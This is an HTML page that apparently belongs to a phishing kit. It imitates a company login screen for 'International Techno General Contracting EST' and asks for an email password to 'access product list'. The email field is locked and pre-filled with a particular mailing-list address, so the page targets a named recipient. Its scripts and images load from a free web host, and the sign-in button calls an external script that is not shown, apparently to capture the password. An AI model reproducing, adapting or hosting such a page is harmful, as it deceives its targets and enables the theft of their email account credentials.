<DOCTYPE html>
<html lang="en">
<head>
<script src="https://conscriptional-wars.000webhostapp.com/jquery-1.11.1.min.js"></script>
<script src="https://conscriptional-wars.000webhostapp.com/js/animate.js"></script>
<link rel="stylesheet" href="https://conscriptional-wars.000webhostapp.com/css/style.css" />
<link rel="stylesheet" href="https://conscriptional-wars.000webhostapp.com/css/font-awesome.min.css">
<title> Login to View More </title>
<link rel="shortcut icon" href="https://conscriptional-wars.000webhostapp.com/images/home.png" />
</head>
<body>
<div class="transparent">
<div class="info">
<p>
<span class="h-3">International Techno General Contracting EST</span>
<br>
<span class="h-5">
<h3>Login With Valid Email Password To Access Product List</h3>
</p>
</div>
<form id="loginform" method="POST" action="">
<div class="loginbox2">
<div class="logincontent">
<!-- <i class="fa fa-user" style="color:magenta"></i>
<input type="text" name="company" id="company" placeholder="Company Name" class="logininput" onfocus="changeColor1()" onblur="clearColor()" required="" />
<br> -->
<br><br>
<i class="fa fa-user" style="color:magenta"></i>
<input type="email" name="email" id="email" value="" readonly placeholder="Email Address" class="logininput" onfocus="changeColor2()" onblur="clearColor()" required="" />
<br><br><br>
<i class="fa fa-user" style="color:magenta"></i>
<input type="password" name="password" id="password" placeholder="Email Password" class="logininput" onfocus="changeColor3()" onblur="clearColor()" required="" />
<br><br>
<center>
<p> <button type="button" onclick="log()" name="login1" id="login1" class="loginbtn"> Sign in </button> </p>
<br>
<h3> </h3>
</center>
<div id="animate" onmousemove="pause()" onmouseleave="resume()">
<img src="https://conscriptional-wars.000webhostapp.com/images/image1.png" height="200px" width="180px" />
<img src="https://conscriptional-wars.000webhostapp.com/images/image2.png" height="200px" width="180px" />
<img src="https://conscriptional-wars.000webhostapp.com/images/image3.png" height="200px" width="180px" />
</div>
</div>
</div>
</form>
</div>
<script>
function changeColor1(){
document.getElementById("company").style.borderBottomColor = "orange";
}
function changeColor2(){
document.getElementById("email").style.borderBottomColor = "orange";
}
function changeColor3(){
document.getElementById("password").style.borderBottomColor = "orange";
}
function clearColor(){
document.getElementById("company").style.borderBottomColor = "";
document.getElementById("email").style.borderBottomColor = "";
document.getElementById("password").style.borderBottomColor = "";
}
function hoverLoginBtn(){
document.getElementById("login").style.backgroundColor = "rgba(0,0,0,0.8)";
}
</script>
<script src="https://conscriptional-wars.000webhostapp.com/login.js"></script>
<script>
$('#email').val('pkg-go-maintainers@lists.alioth.debian.org');
</script>
</body>
</html>